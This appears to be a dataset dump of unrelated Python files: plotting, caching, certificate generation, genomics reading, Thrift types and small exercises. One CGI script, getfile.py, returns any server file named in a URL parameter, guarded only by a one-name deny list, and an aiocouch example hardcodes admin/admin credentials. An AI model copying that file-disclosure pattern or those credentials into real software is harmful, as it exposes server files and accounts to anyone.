content
stringlengths 5
1.05M
|
|---|
n = float(input('Digite um número em metros:\n'))
print(f'{n}m em centimetros é: {n*100:.2f}.')
print(f'E em milimetros é: {n*1000:.2f}.')
|
import matplotlib.pyplot as plt
from .datafetcher import fetch_measure_levels
from .analysis import polyfit
def plot_water_level_with_fit(station, dates, levels, p):
poly,t,d=polyfit(dates,levels,p)
pile =[]
for date1 in d:
pile.append(poly(date1))
plt.plot(d, pile)
plt.plot(d,levels)
high = [station.typical_range[1]]*len(d)
low = [station.typical_range[0]]*len(d)
######COSMETICS --> RE CHECK THIS
plt.plot(d, high, label='high')
plt.plot(d, low, label='low')
plt.xlabel('dates --> nums (w/ shift)')
plt.ylabel('Water Level (m)')
plt.xticks(rotation=90)
plt.title("Graph with a level of shift :" +str(t) +"/n and name of River : " + str(station))
plt.legend()
plt.xlim(d[-1],d[0])
if 1 + 1 == 2:
plt.show()
def plot_water_levels(station, dates, levels):
#Plots water levels using ^^^ parameters
top = [station.typical_range[1]]*len(dates)
bottom = [station.typical_range[0]]*len(dates)
plt.plot(dates, levels, label='Recorded Level')
plt.plot(dates, top)
plt.plot(dates, bottom)
plt.xlabel('The Date (respective)')
plt.xticks(rotation=45)
plt.ylabel('W-Level')
plt.title("The name of the station : " + str(station.name))
plt.legend()
plt.show()
|
from django.core.cache import caches
from mapentity.settings import app_settings
def cbv_cache_response_content():
""" Decorator to cache the response content of a Class Based View """
def decorator(view_func):
def _wrapped_method(self, *args, **kwargs):
response_class = self.response_class
response_kwargs = dict()
# Restore from cache or store view result
geojson_lookup = None
if hasattr(self, 'view_cache_key'):
geojson_lookup = self.view_cache_key()
geojson_cache = caches[app_settings['GEOJSON_LAYERS_CACHE_BACKEND']]
if geojson_lookup:
content = geojson_cache.get(geojson_lookup)
if content:
return response_class(content=content, **response_kwargs)
response = view_func(self, *args, **kwargs)
if geojson_lookup:
geojson_cache.set(geojson_lookup, response.content)
return response
return _wrapped_method
return decorator
|
#!/usr/bin/python
"""
##################################################################################
Display any CGI (or other) server-side file without running it. The filename can
be passed in a URL param or form field (use "localhost" as the server if local):
http://servername/cgi-bin/getfile.py?filename=somefile.html
http://servername/cgi-bin/getfile.py?filename=cgi-bin\somefile.py
http://servername/cgi-bin/getfile.py?filename=cgi-bin%2Fsomefile.py
Users can cut-and-paste or "View Source" to save file locally. On IE, running the
text/plain version (formatted=False) sometimes pops up Notepad, but end-lines are
not always in DOS format; Netscape shows the text correctly in the browser page
instead. Sending the file in text/HTML mode works on both browsers--text is
displayed in the browser response page correctly. We also check the filename here
to try to avoid showing private files; this may or may not prevent access to such
files in general: don't install this script if you can't otherwise secure source!
##################################################################################
"""
import cgi, os, sys
formatted = True # True=wrap text in HTML
privates = ['PyMailCgi/cgi-bin/secret.py'] # don't show these
try:
samefile = os.path.samefile # checks device, inode numbers
except:
def samefile(path1, path2): # not available on Windows
apath1 = os.path.abspath(path1).lower() # do close approximation
apath2 = os.path.abspath(path2).lower() # normalizes path, same case
return apath1 == apath2
html = """
<html><title>Getfile response</title>
<h1>Source code for: '%s'</h1>
<hr>
<pre>%s</pre>
<hr></html>"""
def restricted(filename):
for path in privates:
if samefile(path, filename): # unify all paths by os.stat
return True # else returns None=false
try:
form = cgi.FieldStorage()
filename = form['filename'].value # URL param or form field
except:
filename = 'cgi-bin\getfile.py' # else default filename
try:
assert not restricted(filename) # load unless private
filetext = open(filename).read() # platform unicode encoding
except AssertionError:
filetext = '(File access denied)'
except:
filetext = '(Error opening file: %s)' % sys.exc_info()[1]
if not formatted:
print('Content-type: text/plain\n') # send plain text
print(filetext) # works on NS, not IE?
else:
print('Content-type: text/html\n') # wrap up in HTML
print(html % (filename, cgi.escape(filetext)))
|
# importing libraries
import pandas as pd
from PIL import Image, ImageDraw, ImageFont
import os
# reading csv
data = pd.read_csv('demo.csv')
# remove null values
data.dropna(inplace=True,axis=1)
# dropping dupicate rows
data.drop_duplicates(subset=['Emails'], keep='last', inplace=True)
# convert to list
names = data['Names'].to_list()
emails = data['Emails'].to_list()
# checking if the directory exists
if os.path.exists('certificates'):
print("Folder already exists")
else:
os.mkdir('certificates')
# opening log file and writing ceritifcates
with open("logs.txt", 'a') as f:
for (name, email) in zip(names, emails):
try:
file_path = 'base_file.png'
image = Image.open(file_path)
draw = ImageDraw.Draw(image)
(x, y) = (950, 1120)
color = 'rgb(45, 52, 54)'
name = name
font = ImageFont.truetype('arial.ttf', size=160)
draw.text((x, y), name, fill=color, font=font)
(x, y) = (850, 1820)
color = 'rgb(45, 52, 54)'
name = "Saad Aslam"
font = ImageFont.truetype('SouthamDemo.otf', size=180)
draw.text((x, y), name, fill=color, font=font)
(x, y) = (1950, 1820)
color = 'rgb(45, 52, 54)'
name = "Fahad Ashiq"
font = ImageFont.truetype('SouthamDemo.otf', size=180)
draw.text((x, y), name, fill=color, font=font)
cert_dir = 'certificates/'
cert_path = cert_dir+email+'.pdf'
image.save(cert_path)
print(str(email) + " Success")
f.write(str(email) + " Success")
f.write("\n")
except:
print(str(email) + " Failed")
f.write("\n")
f.write(str(email)+" Failed")
f.close()
|
import dlib
import numpy as np
import cv2
import os
import sys
import imutils
from imutils import face_utils
import matplotlib.pyplot as plt
import pyautogui as pyat
fourcc = cv2.VideoWriter_fourcc(*'XVID')
vid = cv2.VideoCapture(0)
plt.ion()
count = 0
if os.path.exists('ann.txt'):
os.remove('ann.txt')
annotation_file = open("ann.txt", "a")
image_dir = '/home/akki/Documents/python_projects/face_data'
for root, dirs, files in os.walk(image_dir, topdown=False):
for name in sorted(files):
image_path = os.path.join(root,name)
image = cv2.imread(image_path)
r = cv2.selectROI(image, fromCenter=False, showCrosshair=False)
annotation_file.write(str(r) + ' ' + image_path + "\n")
annotation_file.close()
|
"""solution
A by A spiral (clockwise)에 대해 다음과 같은 관계가 성립한다.
매트릭스의 크기:
(2N+1) by (2N+1) matrix는 N개의 레이어로 구성된다. 단 N int >=0
v0 = 중간점(출발값) = 1
n-th 레이어에 대해, 단 0 <= n <= N
우하단 값 eqRD(n) = eqRD(n-1) + (2 + 8*(n-1)) where n >= 1, eqRD(0) = v0 = 1
좌하단 값 eqLD(n) = eqRD(n) + 2*n
좌상단 값 eqLU(n) = eqLD(n) + 2*n
우상단 값 eqRU(n) = eqLU(n) + 2*n
where eqLD(0) = eqLU(0) = eqRU(0) = 0
"""
def getNumLayer(A): # A by A 매트릭스의 크기로 부터 레이어의 개수 반환
return int((A-1)/2)
def eqRD(n): # 우하단 값
v0 = 1 # spiral matrix 출발 값
rst = v0 if n==0 else eqRD(n-1) + (2 + 8*(n-1))
return rst
def eqLD(n): # 좌하단 값
rst = eqRD(n) + 2*n if n>0 else 0
return rst
def eqLU(n): # 좌상단 값
rst = eqLD(n) + 2*n if n>0 else 0
return rst
def eqRU(n): # 우상단 값
rst = eqLU(n) + 2*n if n>0 else 0
return rst
def layerSum(n):
## n-th (n int >=0) 레이어까지의 각 대각지점 값의 합 반환
## sum of numbers on the spiral diagonals
rst = 0
for i in range(n+1):
rst += (eqRD(i)+eqLD(i)+eqLU(i)+eqRU(i))
return rst
def main():
numLayers = getNumLayer(1001) # 1001 by 1001 matrix
rst = layerSum(numLayers)
print(rst)
if __name__=="__main__":
main()
# 669171001
|
import unittest
from zigzag_conversion.solution import Solution
class ZigzagConversionTest(unittest.TestCase):
def test_zigzag_conversion(self):
s = Solution()
tests = [
("ABCD", 2, "ACBD"),
("ABABABABABABABABA", 2, "AAAAAAAAABBBBBBBB"),
('PAYPALISHIRING', 3, 'PAHNAPLSIIGYIR'),
('acfimqnjgdbehkorpl', 6 ,'abcdefghijklmnopqr'),
('012345678901234567', 6, '001912823737464655'),
("", 1, ""),
("A", 1, "A"),
("AB", 1, "AB")
]
for test in tests:
input = test[0]
numRows = test[1]
expected = test[2]
actual = s.zigzag_conversion(input, numRows)
print("input = " + str(input) + ", actual = " + str(actual) + ", expected = " + str(expected))
self.assertEqual(expected, actual)
|
import asyncio
from aiocouch import CouchDB
async def main_with() -> None:
async with CouchDB(
"http://localhost:5984", user="admin", password="admin"
) as couchdb:
print((await couchdb.info())["version"])
database = await couchdb["config"]
async for doc in database.docs(["db-hta"]):
print(doc)
async with CouchDB(
"http://localhost:5984", cookie="ZGVtb0B0b2x0ZWNrLmNvbT..."
) as couchdb:
await couchdb["_users"]
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main_with())
|
import scipy as sp
import pandas as pd
import copy
from limix.io import read_plink
from sklearn.preprocessing import Imputer
class BedReader:
r"""
Class to read and make queries on plink binary files.
Parameters
----------
prefix : str
Path prefix to the set of PLINK files.
Examples
--------
Basics
.. doctest::
>>> from limix.data import BedReader
>>> from limix.data import build_geno_query
>>> from pandas_plink import example_file_prefix
>>>
>>> reader = BedReader(example_file_prefix())
>>>
>>> print(reader.getSnpInfo().head())
chrom snp cm pos a0 a1 i
0 1 rs10399749 0.0 45162 G C 0
1 1 rs2949420 0.0 45257 C T 1
2 1 rs2949421 0.0 45413 0 0 2
3 1 rs2691310 0.0 46844 A T 3
4 1 rs4030303 0.0 72434 0 G 4
Query and load genotype values into memory:
.. doctest::
>>> # build genotype query
>>> gquery = build_geno_query(idx_start=4,
... idx_end=10,
... pos_start=45200,
... pos_end=80000,
... chrom=1)
>>>
>>> # apply geno query and impute
>>> X, snpinfo = reader.getGenotypes(gquery,
... impute=True,
... return_snpinfo=True)
>>>
>>> print(snpinfo)
chrom snp cm pos a0 a1 i
0 1 rs4030303 0.0 72434 0 G 4
1 1 rs4030300 0.0 72515 0 C 5
2 1 rs3855952 0.0 77689 G A 6
3 1 rs940550 0.0 78032 0 T 7
>>>
>>> print(X)
[[2. 2. 2. 2.]
[2. 2. 1. 2.]
[2. 2. 0. 2.]]
Lazy subsetting using queries:
.. doctest::
>>> reader_sub = reader.subset_snps(gquery)
>>>
>>> print(reader_sub.getSnpInfo().head())
chrom snp cm pos a0 a1 i
0 1 rs4030303 0.0 72434 0 G 0
1 1 rs4030300 0.0 72515 0 C 1
2 1 rs3855952 0.0 77689 G A 2
3 1 rs940550 0.0 78032 0 T 3
>>>
>>> # only when using getGenotypes, the genotypes are loaded
>>> print( reader_sub.getGenotypes( impute=True ) )
[[2. 2. 2. 2.]
[2. 2. 1. 2.]
[2. 2. 0. 2.]]
You can do it in place as well:
.. doctest::
>>> query1 = build_geno_query(pos_start=72500, pos_end=78000)
>>>
>>> reader_sub.subset_snps(query1, inplace=True)
>>>
>>> print(reader_sub.getSnpInfo())
chrom snp cm pos a0 a1 i
0 1 rs4030300 0.0 72515 0 C 0
1 1 rs3855952 0.0 77689 G A 1
and you can even iterate on genotypes to enable
low-memory genome-wide analyses.
.. doctest::
>>> from limix.data import GIter
>>>
>>> for gr in GIter(reader, batch_size=2):
... print(gr.getGenotypes().shape)
(3, 2)
(3, 2)
(3, 2)
(3, 2)
(3, 2)
Have fun!
"""
def __init__(self, prefix):
self._prefix = prefix
self._load()
self._init_imputer()
def _load(self):
(bim, fam, bed) = read_plink(self._prefix, verbose=False)
self._snpinfo = bim
self._ind_info = fam
self._geno = bed
def _init_imputer(self):
self._imputer = Imputer(missing_values=3., strategy="mean", axis=0, copy=False)
def __str__(self):
rv = "<" + str(self.__class__)
rv += " instance at "
rv += hex(id(self)) + ">\n"
rv += "File: " + self._prefix + "\n"
rv += "Dims: %d inds, %d snps" % (self._geno.shape[1], self._geno.shape[0])
return rv
def getSnpInfo(self):
r"""
Return pandas dataframe with all variant info.
"""
return self._snpinfo
def subset_snps(self, query=None, inplace=False):
r""" Builds a new bed reader with filtered variants.
Parameters
----------
query : str
pandas query on the bim file.
The default value is None.
inplace : bool
If True, the operation is done in place.
Default is False.
Returns
-------
R : :class:`limix.BedReader`
Bed reader with filtered variants
(if inplace is False).
"""
# query
geno, snpinfo = self._query(query)
snpinfo = snpinfo.assign(
i=pd.Series(sp.arange(snpinfo.shape[0]), index=snpinfo.index)
)
if inplace:
# replace
self._geno = geno
self._snpinfo = snpinfo
else:
# copy (note the first copy is not deep)
R = copy.copy(self)
R._ind_info = copy.copy(self._ind_info)
R._geno = geno
R._snpinfo = snpinfo
return R
def getGenotypes(
self, query=None, impute=False, standardize=False, return_snpinfo=False
):
r""" Query and Load genotype data.
Parameters
----------
query : str
pandas query on the bim file.
The default is None.
impute : bool, optional
list of chromosomes.
If True,
the missing values in the bed file are mean
imputed (variant-by-variant).
If standardize is True, the default value of
impute is True, otherwise is False.
standardize : bool, optional
If True, the genotype values are standardizes.
The default value is False.
return_snpinfo : bool, optional
If True, returns genotype info
By default is False.
Returns
-------
X : ndarray
(`N`, `S`) ndarray of queried genotype values
for `N` individuals and `S` variants.
snpinfo : :class:`pandas.DataFrame`
dataframe with genotype info.
Returned only if ``return_snpinfo=True``.
"""
if standardize:
impute = True
# query
geno, snpinfo = self._query(query)
# compute
X = geno.compute().T
# impute and standardize
if impute:
X = self._imputer.fit_transform(X)
if standardize:
X = X.astype(float)
X -= X.mean(0)
X /= X.std(0)
if return_snpinfo:
return X, snpinfo
else:
return X
def getRealGenotypes(self, query=None, return_snpinfo=False):
r""" Query and Load genotype data.
Parameters
----------
query : str
pandas query on the bim file.
The default is None.
return_snpinfo : bool, optional
If True, returns genotype info
By default is False.
Returns
-------
X : ndarray
(`N`, `S`) ndarray of queried genotype values
for `N` individuals and `S` variants.
snpinfo : :class:`pandas.DataFrame`
dataframe with genotype info.
Returned only if ``return_snpinfo=True``.
"""
# query
geno, snpinfo = self._query(query)
# compute
X = geno.compute().T
if return_snpinfo:
return X, snpinfo
else:
return X
def _query(self, query):
if query is None:
return self._geno, self._snpinfo
snpinfo = self._snpinfo.query(query)
snpinfo.reset_index(inplace=True, drop=True)
geno = self._geno[snpinfo.i.values, :]
return geno, snpinfo
|
#!/usr/bin/python
from oasis.cmd import api
api.main()
|
from utils import run, step, dump
@step
def params(ctx):
name = ctx['name']
build_root = ctx['build_root']
win_root = f'{build_root}/win'
win_exe = f'{win_root}/{name}.exe'
old = {k for k in ctx}
ctx['win_root'] = win_root
ctx['win_exe'] = win_exe
dump(ctx, old)
@step
def export_exe(ctx):
godot_cmd = ctx['godot_cmd']
godot_project = ctx['godot_project']
win_root = ctx['win_root']
win_exe = ctx['win_exe']
run(f"mkdir -p '{win_root}'")
run(f"""
'{godot_cmd}'
--path '{godot_project}'
--export 'win'
--quiet
'{win_exe}'
""")
@step
def set_icon(ctx):
rcedit = ctx['rcedit']
icon_ico = ctx['icon_ico']
win_exe = ctx['win_exe']
run(f"""
wine64 '{rcedit}'
'{win_exe}'
--set-icon '{icon_ico}'
""")
@step
def add_steam_appid_txt(ctx):
"""Add steam_appid.txt for testing."""
win_root = ctx['win_root']
steam_appid = ctx['steam_appid']
win_steam_appid_txt = f'{win_root}/steam_appid.txt'
with open(win_steam_appid_txt, 'wt') as f:
f.write(f'{steam_appid}')
old = {k for k in ctx}
ctx['win_steam_appid_txt'] = win_steam_appid_txt
dump(ctx, old)
|
#
# Autogenerated by Thrift
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
from cyclozzo.thrift.Thrift import *
from cyclozzo.thrift.transport import TTransport
from cyclozzo.thrift.protocol import TBinaryProtocol, TProtocol
try:
from cyclozzo.thrift.protocol import fastbinary
except:
fastbinary = None
class KeyFlag:
"""
State flags for a key
Note for maintainers: the definition must be sync'ed with FLAG_* constants
in src/cc/Hypertable/Lib/Key.h
DELETE_ROW: row is pending delete
DELETE_CF: column family is pending delete
DELETE_CELL: key is pending delete
INSERT: key is an insert/update (default state)
"""
DELETE_ROW = 0
DELETE_CF = 1
DELETE_CELL = 2
INSERT = 255
_VALUES_TO_NAMES = {
0: "DELETE_ROW",
1: "DELETE_CF",
2: "DELETE_CELL",
255: "INSERT",
}
_NAMES_TO_VALUES = {
"DELETE_ROW": 0,
"DELETE_CF": 1,
"DELETE_CELL": 2,
"INSERT": 255,
}
class MutatorFlag:
"""
Mutator creation flags
NO_LOG_SYNC: Do not sync the commit log
IGNORE_UNKNOWN_CFS: Don't throw exception if mutator writes to unknown column family
"""
NO_LOG_SYNC = 1
IGNORE_UNKNOWN_CFS = 2
_VALUES_TO_NAMES = {
1: "NO_LOG_SYNC",
2: "IGNORE_UNKNOWN_CFS",
}
_NAMES_TO_VALUES = {
"NO_LOG_SYNC": 1,
"IGNORE_UNKNOWN_CFS": 2,
}
class RowInterval:
"""
Specifies a range of rows
<dl>
<dt>start_row</dt>
<dd>The row to start scan with. Must not contain nulls (0x00)</dd>
<dt>start_inclusive</dt>
<dd>Whether the start row is included in the result (default: true)</dd>
<dt>end_row</dt>
<dd>The row to end scan with. Must not contain nulls</dd>
<dt>end_inclusive</dt>
<dd>Whether the end row is included in the result (default: true)</dd>
</dl>
Attributes:
- start_row
- start_inclusive
- end_row
- end_inclusive
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'start_row', None, None,), # 1
(2, TType.BOOL, 'start_inclusive', None, True,), # 2
(3, TType.STRING, 'end_row', None, None,), # 3
(4, TType.BOOL, 'end_inclusive', None, True,), # 4
)
def __init__(self, start_row=None, start_inclusive=thrift_spec[2][4], end_row=None, end_inclusive=thrift_spec[4][4],):
self.start_row = start_row
self.start_inclusive = start_inclusive
self.end_row = end_row
self.end_inclusive = end_inclusive
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.start_row = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.BOOL:
self.start_inclusive = iprot.readBool();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.end_row = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.BOOL:
self.end_inclusive = iprot.readBool();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RowInterval')
if self.start_row != None:
oprot.writeFieldBegin('start_row', TType.STRING, 1)
oprot.writeString(self.start_row)
oprot.writeFieldEnd()
if self.start_inclusive != None:
oprot.writeFieldBegin('start_inclusive', TType.BOOL, 2)
oprot.writeBool(self.start_inclusive)
oprot.writeFieldEnd()
if self.end_row != None:
oprot.writeFieldBegin('end_row', TType.STRING, 3)
oprot.writeString(self.end_row)
oprot.writeFieldEnd()
if self.end_inclusive != None:
oprot.writeFieldBegin('end_inclusive', TType.BOOL, 4)
oprot.writeBool(self.end_inclusive)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CellInterval:
"""
Specifies a range of cells
<dl>
<dt>start_row</dt>
<dd>The row to start scan with. Must not contain nulls (0x00)</dd>
<dt>start_column</dt>
<dd>The column (prefix of column_family:column_qualifier) of the
start row for the scan</dd>
<dt>start_inclusive</dt>
<dd>Whether the start row is included in the result (default: true)</dd>
<dt>end_row</dt>
<dd>The row to end scan with. Must not contain nulls</dd>
<dt>end_column</dt>
<dd>The column (prefix of column_family:column_qualifier) of the
end row for the scan</dd>
<dt>end_inclusive</dt>
<dd>Whether the end row is included in the result (default: true)</dd>
</dl>
Attributes:
- start_row
- start_column
- start_inclusive
- end_row
- end_column
- end_inclusive
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'start_row', None, None,), # 1
(2, TType.STRING, 'start_column', None, None,), # 2
(3, TType.BOOL, 'start_inclusive', None, True,), # 3
(4, TType.STRING, 'end_row', None, None,), # 4
(5, TType.STRING, 'end_column', None, None,), # 5
(6, TType.BOOL, 'end_inclusive', None, True,), # 6
)
def __init__(self, start_row=None, start_column=None, start_inclusive=thrift_spec[3][4], end_row=None, end_column=None, end_inclusive=thrift_spec[6][4],):
self.start_row = start_row
self.start_column = start_column
self.start_inclusive = start_inclusive
self.end_row = end_row
self.end_column = end_column
self.end_inclusive = end_inclusive
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.start_row = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.start_column = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.BOOL:
self.start_inclusive = iprot.readBool();
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.STRING:
self.end_row = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.end_column = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.BOOL:
self.end_inclusive = iprot.readBool();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('CellInterval')
if self.start_row != None:
oprot.writeFieldBegin('start_row', TType.STRING, 1)
oprot.writeString(self.start_row)
oprot.writeFieldEnd()
if self.start_column != None:
oprot.writeFieldBegin('start_column', TType.STRING, 2)
oprot.writeString(self.start_column)
oprot.writeFieldEnd()
if self.start_inclusive != None:
oprot.writeFieldBegin('start_inclusive', TType.BOOL, 3)
oprot.writeBool(self.start_inclusive)
oprot.writeFieldEnd()
if self.end_row != None:
oprot.writeFieldBegin('end_row', TType.STRING, 4)
oprot.writeString(self.end_row)
oprot.writeFieldEnd()
if self.end_column != None:
oprot.writeFieldBegin('end_column', TType.STRING, 5)
oprot.writeString(self.end_column)
oprot.writeFieldEnd()
if self.end_inclusive != None:
oprot.writeFieldBegin('end_inclusive', TType.BOOL, 6)
oprot.writeBool(self.end_inclusive)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class ScanSpec:
"""
Specifies options for a scan
<dl>
<dt>row_intervals</dt>
<dd>A list of ranges of rows to scan. Mutually exclusive with
cell_interval</dd>
<dt>cell_intervals</dt>
<dd>A list of ranges of cells to scan. Mutually exclusive with
row_intervals</dd>
<dt>return_deletes</dt>
<dd>Indicates whether cells pending delete are returned</dd>
<dt>revs</dt>
<dd>Specifies max number of revisions of cells to return</dd>
<dt>row_limit</dt>
<dd>Specifies max number of rows to return</dd>
<dt>start_time</dt>
<dd>Specifies start time in nanoseconds since epoch for cells to
return</dd>
<dt>end_time</dt>
<dd>Specifies end time in nanoseconds since epoch for cells to return</dd>
<dt>columns</dt>
<dd>Specifies the names of the columns to return</dd>
<dt>cell_limit</dt>
<dd>Specifies max number of cells to return per column family per row</dd>
<dt>row_regexp</dt>
<dd>Specifies a regexp used to filter by rowkey</dd>
<dt>value_regexp</dt>
<dd>Specifies a regexp used to filter by cell value</dd>
</dl>
Attributes:
- row_intervals
- cell_intervals
- return_deletes
- revs
- row_limit
- start_time
- end_time
- columns
- keys_only
- cell_limit
- row_regexp
- value_regexp
"""
thrift_spec = (
None, # 0
(1, TType.LIST, 'row_intervals', (TType.STRUCT, (RowInterval, RowInterval.thrift_spec)), None,), # 1
(2, TType.LIST, 'cell_intervals', (TType.STRUCT, (CellInterval, CellInterval.thrift_spec)), None,), # 2
(3, TType.BOOL, 'return_deletes', None, False,), # 3
(4, TType.I32, 'revs', None, 0,), # 4
(5, TType.I32, 'row_limit', None, 0,), # 5
(6, TType.I64, 'start_time', None, None,), # 6
(7, TType.I64, 'end_time', None, None,), # 7
(8, TType.LIST, 'columns', (TType.STRING, None), None,), # 8
(9, TType.BOOL, 'keys_only', None, False,), # 9
(10, TType.I32, 'cell_limit', None, 0,), # 10
(11, TType.STRING, 'row_regexp', None, None,), # 11
(12, TType.STRING, 'value_regexp', None, None,), # 12
)
def __init__(self, row_intervals=None, cell_intervals=None, return_deletes=thrift_spec[3][4], revs=thrift_spec[4][4], row_limit=thrift_spec[5][4], start_time=None, end_time=None, columns=None, keys_only=thrift_spec[9][4], cell_limit=thrift_spec[10][4], row_regexp=None, value_regexp=None,):
self.row_intervals = row_intervals
self.cell_intervals = cell_intervals
self.return_deletes = return_deletes
self.revs = revs
self.row_limit = row_limit
self.start_time = start_time
self.end_time = end_time
self.columns = columns
self.keys_only = keys_only
self.cell_limit = cell_limit
self.row_regexp = row_regexp
self.value_regexp = value_regexp
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.LIST:
self.row_intervals = []
(_etype3, _size0) = iprot.readListBegin()
for _i4 in xrange(_size0):
_elem5 = RowInterval()
_elem5.read(iprot)
self.row_intervals.append(_elem5)
iprot.readListEnd()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.LIST:
self.cell_intervals = []
(_etype9, _size6) = iprot.readListBegin()
for _i10 in xrange(_size6):
_elem11 = CellInterval()
_elem11.read(iprot)
self.cell_intervals.append(_elem11)
iprot.readListEnd()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.BOOL:
self.return_deletes = iprot.readBool();
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.revs = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.I32:
self.row_limit = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.I64:
self.start_time = iprot.readI64();
else:
iprot.skip(ftype)
elif fid == 7:
if ftype == TType.I64:
self.end_time = iprot.readI64();
else:
iprot.skip(ftype)
elif fid == 8:
if ftype == TType.LIST:
self.columns = []
(_etype15, _size12) = iprot.readListBegin()
for _i16 in xrange(_size12):
_elem17 = iprot.readString();
self.columns.append(_elem17)
iprot.readListEnd()
else:
iprot.skip(ftype)
elif fid == 9:
if ftype == TType.BOOL:
self.keys_only = iprot.readBool();
else:
iprot.skip(ftype)
elif fid == 10:
if ftype == TType.I32:
self.cell_limit = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 11:
if ftype == TType.STRING:
self.row_regexp = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 12:
if ftype == TType.STRING:
self.value_regexp = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('ScanSpec')
if self.row_intervals != None:
oprot.writeFieldBegin('row_intervals', TType.LIST, 1)
oprot.writeListBegin(TType.STRUCT, len(self.row_intervals))
for iter18 in self.row_intervals:
iter18.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
if self.cell_intervals != None:
oprot.writeFieldBegin('cell_intervals', TType.LIST, 2)
oprot.writeListBegin(TType.STRUCT, len(self.cell_intervals))
for iter19 in self.cell_intervals:
iter19.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
if self.return_deletes != None:
oprot.writeFieldBegin('return_deletes', TType.BOOL, 3)
oprot.writeBool(self.return_deletes)
oprot.writeFieldEnd()
if self.revs != None:
oprot.writeFieldBegin('revs', TType.I32, 4)
oprot.writeI32(self.revs)
oprot.writeFieldEnd()
if self.row_limit != None:
oprot.writeFieldBegin('row_limit', TType.I32, 5)
oprot.writeI32(self.row_limit)
oprot.writeFieldEnd()
if self.start_time != None:
oprot.writeFieldBegin('start_time', TType.I64, 6)
oprot.writeI64(self.start_time)
oprot.writeFieldEnd()
if self.end_time != None:
oprot.writeFieldBegin('end_time', TType.I64, 7)
oprot.writeI64(self.end_time)
oprot.writeFieldEnd()
if self.columns != None:
oprot.writeFieldBegin('columns', TType.LIST, 8)
oprot.writeListBegin(TType.STRING, len(self.columns))
for iter20 in self.columns:
oprot.writeString(iter20)
oprot.writeListEnd()
oprot.writeFieldEnd()
if self.keys_only != None:
oprot.writeFieldBegin('keys_only', TType.BOOL, 9)
oprot.writeBool(self.keys_only)
oprot.writeFieldEnd()
if self.cell_limit != None:
oprot.writeFieldBegin('cell_limit', TType.I32, 10)
oprot.writeI32(self.cell_limit)
oprot.writeFieldEnd()
